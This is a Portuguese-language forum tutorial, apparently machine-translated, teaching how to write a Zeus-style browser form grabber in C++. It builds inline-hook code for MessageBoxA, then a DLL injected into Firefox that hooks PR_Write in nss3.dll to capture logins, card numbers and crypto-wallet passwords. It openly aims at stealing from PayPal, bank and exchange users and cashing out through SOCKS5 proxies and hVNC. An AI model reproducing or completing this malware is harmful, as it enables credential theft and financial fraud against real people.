Escreva um capturador de formulários em c++ em 5 minutos, estilo zeus botnet para cartões Visa, cartões master, senhas e e-mails de captura de formulários e tudo o que o usuário insere como entrada no navegador.
Antes de nos aprofundarmos, o que o Hack é um captador de formulários, quando usá-lo e por que usá-lo, por que não usar apenas um ladrão?
#What the Hack é um captador de formulários
Um captador de formulário é uma técnica usada por desenvolvedores de malware para roubar dados como cartões de crédito e dados de login e enviá-los diretamente para um servidor e armazená-los no banco de dados mysql, então o hacker voltará para verificar o que roubou de seu painel web gui e então usa-los, essa técnica é muito útil quando usamos com proxy reverso meias5 por exemplo e sem vazamentos também muito muito útil com um hvnc bom e rápido que você pode usar o mesmo IP mesma maquina que o dono por exemplo do cvv é usado pelo proprietário, isso dá mais confiança ao sacar
#quando usá-lo
Usamos o coletor de formulários na maioria das vezes em alvos que eles têm acesso a logins de sites importantes, por exemplo, Paypal, login de banco, login de carteira criptográfica como blockchain .com, kucoin,
E muito mais sites de dinheiro ou talvez apenas um site de faculdade, talvez o hacker esteja mirando no administrador
# por que usá-lo, por que não usar apenas um ladrão?
Uma boa pergunta que você pode fazer é: por que não usar um ladrão, vai roubar tudo, logins, cookies e muito mais?
Está bem! Eu vou responder a esta pergunta. ! Quantas vezes você usou um ladrão e obteve cookies expirados e uma senha armazenada antiga inválida? Muito tempo, então por que usar o form Grabber, isso fornecerá dados atualizados, algumas vezes, por exemplo: quando você atualiza a senha em alguns sites, o navegador Chrome pergunta se você deseja atualizar ou armazenar a senha se o alvo clica em NÃO e depois de algumas horas os cookies expiram porque o site é muito sensível como blockchain.com com ladrão de informações Você obtém 0, mas com o captador de formulários você obtém o e-mail ativo, a carteira criptográfica e a senha
sabe por que às vezes deveria usar um captador de formulários! Atenção, não estou dizendo que ladrões de informações são ruins,
#Como funciona o captador de formulários?
Por exemplo, precisamos escrever um form grabber para o Mozilla Firefox o primeiro passo é descobrir a função é responsável por escrever o buffer no servidor
Na Biblioteca Winsock temos send e recv o send de seu nome é responsável por enviar dados e receber é responsável por receber dados do servidor também firefox usa Winsock mas tem seu próprio wrapper para a biblioteca Winsock que é desenvolvida para funcionar com Firefox sem problemas E
para enviar e receber firefox tem PR_WRITE e PR_READ também PR_Rec v
De acordo com a documentação do código fonte do Firefox
https://firefox-source-docs.mozilla.org … _read.html
https://firefox-source-docs.mozilla.org … write.html
A função PR_READ é responsável por ler o buffer do servidor, e a função PR_WRITE é responsável por gravar o buffer no servidor
Por exemplo, precisamos fazer login em paypal.com ou twitch.com, ou em qualquer site, para isso precisamos usar PR_WRITE para enviar o nome de usuário/e-mail e senha para o servidor e PR_READ para ler o resultado do servidor Login com sucesso, ou falhou! Quero dizer tudo como Html, CSS, JAVASCRIPT e assim por diante. Hoje trabalharei
em PR_WRITE para roubar os dados de login ou cartões de crédito.
#O que é Inline Hooking?
Inline Hooking é uma técnica que permite ao invasor ou hackers interceptar os argumentos da função exemplo: como um proxy Burp suit pode interceptar a solicitação http, também o hooking permite que você intercepte os argumentos, Hooking é amplamente utilizado por desenvolvedores de malware, também é usado por antivírus, sandboxes
Desde que pode interceptar os argumentos da função para que o antivírus possa capturar, por exemplo, WriteProcessMemory E pode ler o buffer não criptografado que você escreve, por exemplo, em Process Hollowing
Um exemplo simples: Temos MessageBoxA que possui 4 argumentos
int MessageBoxA( [em , opcional] HWND hWnd, [in, opcional] LPCSTR lpText, [in, opcional] LPCSTR lpCaption, [in] UINT uType );
Vamos supor que precisamos interagir com esta função e alterar seu comportamento como alterar o Caption ou o lpText então para fazer o trabalho precisamos usar o Hooking Tenha em mente que estes são apenas exemplos existem muitos outros usos para
o Hooking Como os Hooks da área de usuário, os navegadores da Web Hooking, o Hooking Putty e o FileZilla também podem ser feitos para roubar dados confidenciais.
Então, discutimos como o Hooking funciona na compreensão humana! Agora discutiremos a maneira técnica
Portanto, um API Hooking de sucesso precisa dessas 7 etapas, portanto, leia-as com atenção e não pule nenhuma etapa para garantir que isso funcione para você
1 - Obtenha o endereço da função original
2 - Leia as 5 primeiras bytes da função original
3 - Calcule o endereço relativo e escreva a instrução jmp na matriz de bytes e no endereço relativo
4 - Crie um tipo de função Trampolim
5 - aloque memória para a função Trampolim
6 - copie os 5 bytes originais, copie a instrução Push e copie o rva e depois copie o Instrução de retorno para a função trampolim
7 - Will done, o Hook está feito
Inline Hooking pode ser diferente com arquitetura diferente x32 é diferente do x64 inline
Quando se trata de codificação Por quê?
A memória x64 é muito grande então a instrução jmp não pode alcançar a memória alocada
E para corrigir este problema precisamos encontrar espaço de memória livre atrás da função Alvo
Não discutiremos o x64 Hooking agora, mas entraremos nele em breve quando terminarmos o projeto x86 Hooking Não se preocupe,
já que você já sabe como funciona o Inline Hooking, agora vou lhe dizer como
funciona algumas ferramentas que você precisa baixar antes de começar a codificar
1 - Visual Studio IDE
2 - Cheat engine (eu recomendo porque é muito fácil de usar, mas você pode usar qualquer outro depurador)
3 - Baixe o Firefox ambos Archcuter para x32 e x64 porque como discutimos antes o hooking para x32 não funcionará para x64 e porque testará em ambos então você precisa baixar ambos
Depois que você terminar de baixar as ferramentas, abra o Visual Studio e crie um projeto c++ vazio, nomeie-o Aplicativo e crie um arquivo c++, nomeie-o teste. Cpp
Antes de começarmos a escrever o form grabber precisamos ter um pouco de experiência com o hooking para fazer isso primeiro precisamos escrever um hook para a função MessageBoxA e interceptar os argumentos e alterá-los também imprima o argumento Old no console Ok depois de
criar o projeto e o arquivo test.cpp agora gravam o seguinte código c++.
int main(int argc, char* argv[])
{
HMODULE Huser32dll = GetModuleHandleA("user32.dll");
FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));
printf("Original MessageBoxA address 0x%x ", FunctionAddress);
}
Este código é muito simples Usamos GetModuleHandleA para recuperar o endereço base do módulo user32.dll como um HMODULE, então usamos GetProcAddress para recuperar o endereço da função exportada que precisamos importar e como você pode ver printf para imprimir o endereço base do endereço da função então criamos a variável byte finalmente usamos ReadProcessMemory para ler os primeiros cinco bytes
Atenção: o número mínimo de bytes e seu necessário é 5 bytes 1 para instrução jmp e 4 para o endereço saltar como um x86, tenha cuidado alguns as funções precisam copiar mais de 5 bytes como em PR_WRITE, e veremos em breve porque precisamos copiar e corrigir mais de 5 bytes.
Bom trabalho, concluímos a Etapa 1 descrita acima.
Agora passo dois a partir do passo sete Calcule o RVA ( endereço relativo entre a função de destino e a função de origem que é a função Hook )
Antes de calcular o endereço relativo primeiro precisamos declarar a função Hook como visto na imagem abaixo
Mas espere, como sabemos quais argumentos devemos adicionar para saber que precisamos primeiro conhecer os argumentos da função original e os argumentos da função original conforme abaixo
int MessageBoxA( [in, opcional] HWND hWnd, [in, opcional] LPCSTR lpText , [in, opcional] LPCSTR lpCaption, [in] UINT uType );
Então, o que precisamos fazer é declarar a mesma função com o mesmo tipo de dados que é um int, mas precisamos apenas alterar o nome da função, caso contrário, o projeto não será compilado, pois ficará confuso com a função já declarada no WINAPI.
int main(int argc, char* argv[])
{
MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);
HMODULE Huser32dll = GetModuleHandleA("user32.dll");
FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));
printf("Original MessageBoxA address 0x%x ", FunctionAddress);
BYTE OriginalBytes[5] = { 0 };
BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL);
}
Agora que terminamos de declarar a função agora precisamos calcular o RVA passando o endereço da função Hook e o endereço da função original e adicionando +5 bytes à função original essa necessidade, depois de feito isso declaramos uma nova variável chamado JmpBytes e o tipo de dados é um byte, agora devemos copiar a instrução jmp para JmpBytes e, em seguida, copiar o endereço relativo para JmpBytes, mas certifique-se de adicionar +1 para pular a instrução jmp, caso contrário, ela substituirá a instrução jmp Portanto, tenha cuidado qualquer pequeno erro nunca funcionará.
// calculate RVA
DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5));
BYTE JmpCode[5] = { 0 };
memcpy_s(JmpCode, 1, "\xE9", 1);
memcpy_s(JmpCode + 1, 4, &RVA, 4);
// WRITE jmp to function
WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL);
Agora volte para MessageBoxB e como você já sabe é a função Hook pode ver isso no código acima
E o primeiro passo que faremos é imprimir os argumentos do MessageBoxA Original
printf("lpText : %s lpCaption : %s \n", lpCaption, lpText);
Ainda não terminamos, ainda há o trampolim. Por enquanto, este código funcionará e imprimirá os argumentos, mas travará depois disso, apenas para fins de teste, adicione sleep na função Hook após imprimir os argumentos não travará diretamente, então temos hora de verificar a função do Cheat engine. então agora compile o código e, e não se esqueça de adicionar MessagBoxA para ser carregado de user32.dll caso contrário, você precisará usar LoadLibraryA, não GetModuleHandle
Então, finalmente, TEST CODE será assim
int MessageBoxB(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
printf("lpText : %s lpCaption : %s \n", lpCaption, lpText);
Sleep(10000); // sleep to see the effect before crash because we did not finsihed the full project yet
}
int main(int argc, char* argv[])
{
MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);
HMODULE Huser32dll = GetModuleHandleA("user32.dll");
FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));
printf("Original MessageBoxA address 0x%x ", FunctionAddress);
BYTE OriginalBytes[5] = { 0 };
BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL);
// calculate RVA
DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5));
BYTE JmpCode[5] = { 0 };
memcpy_s(JmpCode, 1, "\xE9", 1);
memcpy_s(JmpCode + 1, 4, &RVA, 4);
// WRITE jmp to function
WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL);
MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);
return 0;
}
Agora abra o mecanismo de truques e inicie o Application.exe e vá para MessageBoxA e defina um ponto de interrupção na função MessageBoxA
Para encontrar a função MessageBoxA primeiro após anexar ao aplicativo, vá para exibição de memória -> exibição -> enumerar dlls e símbolos e clique nele finalmente procure por MessageBoxA E clique no nome da função
Como você pode ver a função antes do gancho
Agora clique na caixa de mensagem
E este é o primeiro antes do Hooking depois de clicar nele o hooking será feito e deverá ver os argumentos impressos no CMD
Como você pode ver agora, depois que o Hook terminar, veja o Cmd imprimindo os argumentos MessageBoxA!
É só isso? Não, também podemos modificá-lo e alterar os argumentos da caixa de mensagem original que foram inseridos pelo desenvolvedor e passar os nossos. mas antes de fazermos isso, precisamos criar o trampolim, caso contrário, ele travará a partir de agora.
Para criar a função trampolim.
1 - Primeiro crie um typedef a partir da função MessagBoxA
2 - Crie uma variável LPVOID e será o trampolim certifique-se de tornar a variável PUBLIC como no código abaixo
3 - Alocar memória usando VirtualAlloc para e certifique-se de fazer as permissões da página PAGE_EXECUTE_READWRITE e o tamanho será 11! como eu sei o tamanho
Para calcular o tamanho primeiro precisamos somar os bytes que copiamos quero dizer os 5 bytes originais então 1 para push e 4 para o RVA e 1 para o retorno o total é 11 então precisamos alocar o tamanho da memória 11
4 - Copie os 5 bytes originais que copiamos na primeira vez
5 - copie a instrução push, mas novamente você precisa adicionar +5 e os cinco representam o tamanho dos bytes, então pulamos os primeiros 5 bytes e não os sobrescrevemos
6 - Copie o Rva (Relative address)
7 - Copie a instrução de retorno
Agora de volta para a função Hook MessageBoxB que criamos e agora vamos editar os argumentos da função Original MessageBoxA
Agora crie um ponteiro para o endereço do trampolim que alocamos antes e atribua o tipo do typedef que criamos ftrempolineMessageBox e faça o retorno para ele agora você pode passar a string que quiser nos argumentos veja a imagem abaixo
Feito isso terminamos o Hooking, e este é o código completo sem o sleep
[cpp]
Compile o código e execute-o e agora deve funcionar sem nenhum erro
Como você pode ver na caixa de mensagem, o texto é alterado para o meu texto
Vídeo da prova de trabalho
Atenção: Até agora estamos trabalhando no mesmo exe na próxima seção irá funcionar a partir da dll e injetar a DLL no processo do Firefox, em seguida, instalará o gancho da DLL, corrigirá o salto e lerá o Buffer da função Hook do PR_WRITE, mas agora será não lido MessageBoxA agora vai ler o buffer que o navegador envia para o servidor e analisar o nome de usuário e senha
Parabéns.
Agora crie dois outros projetos, ambos são projetos C++ vazios, o primeiro nome é gancho e o outro nome é injetor
Vá para gancho e vá para as propriedades do projeto e, em seguida, -> Avançado e altere a extensão de destino para .dll
Agora crie injector.cpp e gancho .cpp em ambos os projetos
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)InstallHook, NULL, 0, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Adicione o código acima ao arquivo hook.cpp.
Não é grande coisa, apenas escrevemos o ponto de entrada da DLL e criamos um thread para invocar nossa função chamada Installhook. A função Installhook é a função que será usada para instalar o gancho e criar o trampolim.
Agora, existem alguns requisitos que precisamos encontrar e defini-lo no arquivo c++, como fazemos antes, precisamos encontrar o tipo e os argumentos usados por PR_WRITE, fazemos isso em MessageBoxA no código acima. Graças a Deus, o código-fonte do Firefox está
disponível na documentação de origem do Firefox
https://firefox-source-docs.mozilla.org/
Vá para https://firefox-source-docs.mozilla.org … write.html para encontrar o PR_WRITE
e, em seguida, crie um typedef da função também crie uma função de gancho da função PR_WRITE
PRInt32 PR_Write(PRFileDesc *fd, const void *buf, PRint32 quantidade);
Agora seu código deve estar assim.
typedef int (*PTRPR_Write)(SOCKET* fd, char * buf, int amount);
LPVOID TrempolineAddress = NULL;
int HPR_Write(SOCKET* fd, char * buf, int amount)
{
PTRPR_Write fTRPR_Write = (PTRPR_Write)TrempolineAddress;
return fTRPR_Write(fd, buf, amount);
}
Como você pode ver, alterei o ponteiro PRFileDesc para SOCKET e const void Você também pode alterá-lo para char *
Acho que você já sabe o que é isso, não se preocupe com a função de retorno para o endereço do trampolim alocará a memória do InstallHook Função
Para mais informações de depuração podemos alocar o Console usando o código acima
AllocConsole();
freopen("CONOUT$", "w", stdout);
Agora aqui antes de lermos os bytes da função original! você se lembra quando eu disse acima que algumas funções precisam ler e corrigir mais de cinco bytes?
Agora vou lhe dizer por que isso acontece, primeiro inicie o navegador Firefox e depois inicie o Cheatengine e conecte-o ao Firefox
Clique em Abrir, em seguida, em Visualização de memória e, em seguida, visualize na barra de ferramentas do mecanismo de truques e, finalmente, clique em Enumerar dlls e símbolos
Ou apenas no seu teclado use as teclas de atalho para abrir as dlls e símbolos do Enumerate digitando
Ctrl + alt + s
Agora procure por PR_WRITE assim que o cheat engine o encontrar clique nele
Deve levá-lo para a função PR_WRITE
Bom agora focar na função PR_WRITE e ler os primeiros cinco bytes não pode ser verdade? sim, verdade, se copiarmos os cinco bytes, isso interromperá o movimento esi,[ebp+10]
Então, para corrigir esse problema, precisamos copiar sete bytes em vez de cinco bytes, que é De empurrar EPB até mover esi, por quê? porque, como você já sabe, a instrução jmp tem tamanho de 1 byte e o endereço que queremos pular para ela é de quatro bytes, então o total é cinco, mas também podemos copiar mais de cinco, como nesta situação, temos Agora de volta ao Visual Studio e
adicione o código a seguir para a função InstallHook .
/// 2
byte OriginalBytes[7];
DWORD ReadedBytes = 0;
DWORD BytesSize = 7;
FARPROC OriginalPrWriteAddress = GetProcAddress(GetModuleHandleA("nss3.dll"), "PR_Write");
printf("Original PR_WRITE Function address at 0x%x ", OriginalPrWriteAddress);
BOOL readbytes = ReadProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, &OriginalBytes, BytesSize,&ReadedBytes);
/// 3
if (readbytes != FALSE && BytesSize == ReadedBytes)
{
byte JmpBytes[7];
DWORD WrittenBytes = 0;
DWORD dstFunction = (DWORD)&HPR_Write;
DWORD Rva = dstFunction - ((DWORD)OriginalPrWriteAddress + 5);
memcpy_s(JmpBytes, 1, "\xE9", 1);
memcpy_s(JmpBytes + 1, 4, &Rva, 4);
memcpy_s(JmpBytes + 5, 1, "\x90", 1);
memcpy_s(JmpBytes + 6, 1, "\x90", 1);
BOOL WriteJmp = WriteProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, JmpBytes, BytesSize, &WrittenBytes);
/// 4
if (WriteJmp != FALSE && BytesSize == WrittenBytes)
{
// here the code of trempoline function
}
}
Então aqui pegamos o endereço do módulo Ou Dll que é nss3 para o navegador Firefox e o nome da função é PR_WRITE, então lemos os sete bytes da função original Verifique se há algum erro ao ler os bytes se não houver erro calcule o
RVA (Endereço relativo)
Em seguida, copie a instrução de salto para a variável de matriz de bytes, agora copie o endereço relativo para
a mesma variável que é a matriz de bytes, finalmente copie o /xE9 que é nop ou não faz nada, este nop não é necessário em todos os ganchos embutidos se você se lembra de quando conectamos a função MessageBoxA, não usamos o nop porque não há bytes extras como na função PR_WRITE,
espero que você me entenda.
Atenção, podemos usar memcpy como uma alternativa para ReadProcessMemory e WriteProcessMemory Mas então você precisará usar o VirtualProtect para alterar a proteção do endereço onde você copiará os bytes e restaurará a proteção original Assim que terminar.
Agora use WriteProcessMemory para escrever a instrução Hook ou Jump para a função original.
E não se preocupe, a função WriteProcessMemory fará a proteção mudando para nós e não precisa usar VirtualProtect aqui.
Agora, se você for esperto e focar no código, verá que quando calcularmos o endereço Relativo, adicionamos cinco +5, não +7 por quê? isso ocorre porque, como dizemos antes da instrução de salto, o endereço é de cinco bytes no sistema x86.
Ok, agora estamos apenas usando uma instrução if para verificar se há algum erro ao escrever os bytes se não houver erro
Agora criaremos o Trampolim para que o tamanho do trampolim seja diferente Copiamos 7 bytes e a instrução push é 1 byte e o Rva é de 4 bytes e o retorno também é de 1 byte, então o total é de 13 bytes aqui está como os calculamos
Nenhuma cópia de tudo isso usando memcpy_s e não há necessidade de usar WriteProcessMemory porque o endereço já está alocado e nós os copiamos
Will Done, Awesome agora lança o cheat engine e o Firefox e Process hacker para injetar nossa dll no Firefox
Aqui vou gravar um vídeo para mostrar a prova de conceitos POC completa da DLL em funcionamento
Será feito, espero que goste do tutorial, se precisar de ajuda, estou pronto para ajudar.
Você pode encontrar o código-fonte do projeto aqui:
Sem senha.